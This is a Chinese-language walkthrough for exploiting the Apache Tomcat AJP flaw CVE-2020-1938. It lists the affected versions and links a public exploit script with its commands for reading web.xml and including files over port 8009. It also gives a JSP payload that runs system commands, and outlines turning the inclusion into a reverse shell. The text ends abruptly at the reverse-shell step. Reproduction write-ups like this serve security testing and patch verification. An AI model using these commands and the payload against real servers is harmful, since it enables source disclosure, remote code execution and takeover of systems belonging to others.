漏洞影响范围包括
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
一、利用工具:
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
使用方法:
(文件读取)
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1
(文件包含)
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1
二、环境搭建
http://archive.apache.org/dist/tomcat/ 直接下载官方环境包
三、复现
1、使用文件读取,查看web源代码:
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 127.0.0.1
注意,此时的目录为web根目录
2、如果存在上传功能,上传txt进行包含攻击;(这里由于是测试环境,就复制一个txt文件到根目录假装上传;实际情况的话需要知道上传文件的路径)
这里上传的txt文件为”test.txt“
内容如下:[Java] 纯文本查看 复制代码 <%
java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1
3、通过以上操作已经可以读取文件和执行命令了,接着就是反弹shell
反弹shell还是通过执行命令来实现的,具体操作为修改test.txt文件内容,将里边的命令修改为反弹的命令即可,这里需要注意的是,反弹命令需要到这个网站进行转换“http://www.jackson-t.ca/runtime-exec-payloads.html”
反弹shell
|